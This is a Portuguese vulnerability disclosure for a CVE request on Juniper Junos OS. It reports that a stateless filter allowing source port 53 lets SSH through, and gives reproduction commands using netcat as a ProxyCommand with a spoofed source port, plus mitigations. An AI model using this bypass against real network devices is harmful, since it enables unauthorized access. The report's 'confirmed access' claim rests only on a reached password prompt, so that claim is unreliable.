Relatório de Vulnerabilidade para Solicitação de CVE: Bypass de Firewall em Conexões SSH no Junos OS

Informações Gerais

• Título: Bypass de Regras de Firewall em Conexões SSH Usando Porta de Origem TCP 53
• Produto Afetado: Juniper Networks Junos OS
• Versão Testada: 24.1.R2 and 21.4R3-S9.5
• Dispositivo Testado: Juniper MX204,  Juniper MX304 and Juniper EX2300-24T
• Data do Teste: June, 23, 2025 8h10m BRT (GMT-03)
• Reportado por: Adriano Mauro Cansian (UNESP – Sao Paulo State University, Brazil) e Joao Fuzinelli (Cylo Cyberloss Prevention, Brazil)
• Colaboradores: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)
• Contato: adriano.cansian@unesp.br , joao@cylo.com.br
• Gravidade Estimada: Crítica (acesso não autorizado ao plano de controle via SSH)
• CVE Solicitado: Sim

Descrição da Vulnerabilidade

Uma vulnerabilidade no Junos OS permite o bypass de regras de firewall em conexões SSH ao usar a porta de origem TCP 53, normalmente associada a respostas de DNS via UDP. A falha ocorre devido a uma regra de firewall stateless que permite tráfego com porta de origem 53 sem filtrar o protocolo (TCP vs. UDP), possibilitando que conexões SSH (TCP) sejam aceitas indevidamente.

Impacto

• Acesso Não Autorizado: Um atacante pode estabelecer uma conexão SSH com o roteador, comprometendo o plano de controle.
• Confidencialidade e Integridade: Possível acesso a configurações sensíveis e manipulação do dispositivo.
• Disponibilidade: Risco de negação de serviço (DoS) se o acesso for explorado para ações maliciosas.
• Escopo: A vulnerabilidade é explorável em qualquer roteador Juniper com uma regra de firewall semelhante, especialmente em firewalls stateless.

Ambiente de teste

Servidor SSH

• IP: xxx.yyy.zzz.123
• Serviço: SSH na porta 22 (padrão)
• Localização: Rede interna

Cliente

• Localização: Laboratório Número 6
• Endereço: IP público

Roteador

• Modelos: Juniper MX204, MX304 e EX2300-24T
• Sistema Operacional: Junos OS 24.1.R2 e 21.4R3-S9.5

Configuração do Firewall (stateless):

firewall family inet filter protect-re {
    term allow-dns {
        from {
            source-port 53;
        }
        then accept;
    }
    term deny-all {
        then discard;
    }
}
interfaces {
    lo0 {
        unit 0 {
            family inet {
                filter input protect-re;
            }
        }
    }
}

Passos para reprodução

1. Configure o roteador Juniper com a regra acima aplicada à interface loopback (lo0).
2. Inicie um servidor SSH na rede interna (xxx.yyy.zzz.123, porta 22).
3. A partir de um cliente com IP público, tente uma conexão SSH padrão:

ssh user@xxx.yyy.zzz.123

4. Resultado Esperado: Conexão bloqueada pelo firewall.

Tente uma conexão SSH com porta de origem TCP 53:

ssh -o "ProxyCommand nc -p 53 %h %p" -p 22 user@xxx.yyy.zzz.123

5. Resultado Observado: Conexão bem-sucedida, indicando bypass do firewall.

Estimativa de CVSS v3.1

Base Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L)

• AV:N – Vetor de ataque pela rede
• AC:L – Baixa complexidade de ataque
• PR:N – Sem privilégios necessários
• UI:N – Sem interação do usuário
• S:U – Escopo não alterado
• C:H / I:H / A:L – Impacto alto em confidencialidade e integridade, baixo em disponibilidade

Evidências

Comandos executados:

❯ ssh -o 'ProxyCommand nc -p 22 %h %p' -p 22 user@xxx.yyy.zzz.123
❯ ssh -o 'ProxyCommand nc -p 80 %h %p' -p 22 user@xxx.yyy.zzz.123
❯ ssh -o 'ProxyCommand nc -p 53 %h %p' -p 22 user@xxx.yyy.zzz.123

Resultado: O bypass foi confirmado, permitindo acesso SSH não autorizado.

❯ ssh -o 'ProxyCommand nc -p 22 %h %p' -p 22 user@xxx.yyy.zzz.123
The authenticity of host 'xxx.yyy.zzz.123 (<no hostip for proxy command>)' can't be established.
ED25519 key fingerprint is SHA256:zsfUbBo9nyytTLBgdJADBvYDgqiNGqYWE1g7c0nfv6o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'xxx.yyy.zzz.123' (ED25519) to the list of known hosts.
(user@xxx.yyy.zzz.123) Password:

❯ ssh -o 'ProxyCommand nc -p 80 %h %p' -p 22 user@xxx.yyy.zzz.123
(user@xxx.yyy.zzz.123) Password:

❯ ssh -o 'ProxyCommand nc -p 53 %h %p' -p 22 user@xxx.yyy.zzz.123
(user@xxx.yyy.zzz.123) Password:
'''

Observações

Observações:

• Nesse caso utilizamos primeiramente a porta 22, localizado em ‘ProxyCommand nc -p 22″ onde 22 é a porta de origem. Logo após ocorre o mesmo com a porta 80.
• O uso das portas 22 e 80 como origem é mais plausível, pois esses serviços operam nativamente sobre TCP, diferentemente do DNS, que utiliza UDP. Contudo, isso prova que para qualquer porta onde o usuário permita conexões de porta de origem no firewall de output, ao forjar a porta em uma conexão ela será aceita pelo firewall. Caso este que não ocorre em firewall stateful, já que existe a possibilidade de checar  se uma “conexão” é nova tanto em TCP como UDP.

Mitigação temporária

Filtragem por Protocolo:

set firewall family inet filter protect-re term allow-dns from protocol udp
set firewall family inet filter protect-re term allow-dns from source-port 53
set firewall family inet filter protect-re term allow-dns then accept

Restrição por IP de origem:

set firewall family inet filter protect-re term allow-dns from source-address 8.8.8.8/32
set firewall family inet filter protect-re term allow-dns from source-address 1.1.1.1/32

Alteração da porta SSH:

set system services ssh port 6666

Desativação do SSH:

deactivate system services ssh

Recomendações

• Testar em versões Junos OS mais recentes (24.4R1-S1 ou 24.2R2-S2) para verificar se a falha persiste.
• Realizar testes adicionais com portas de origem diferentes (ex: 80, 443) e com firewalls stateful, como os dispositivos da linha SRX.

Notas / observaç˜ões

• Até 27 de junho de 2025, não há registros públicos de um CVE correspondente a essa vulnerabilidade (fontes: cvedetails.com, support.juniper.net).
• A falha ainda está sob investigação e pode estar relacionada a uma configuração excessivamente permissiva do firewall stateless, mas não se descarta a possibilidade de um bug no Junos OS.

---

Última atualização: 26 de junho de 2025, 18h10m BRT (GMT-03)

Com a Colaboração de: Giuliano Medalha (por Wztech) e Gabriele Zancheta Scavazini, Guilherme Bofo, Guilherme Romanholo Bofo, Matheus Bordino Moriel e Kim Morgan (por UNESP ACME! Cybersecurity Research)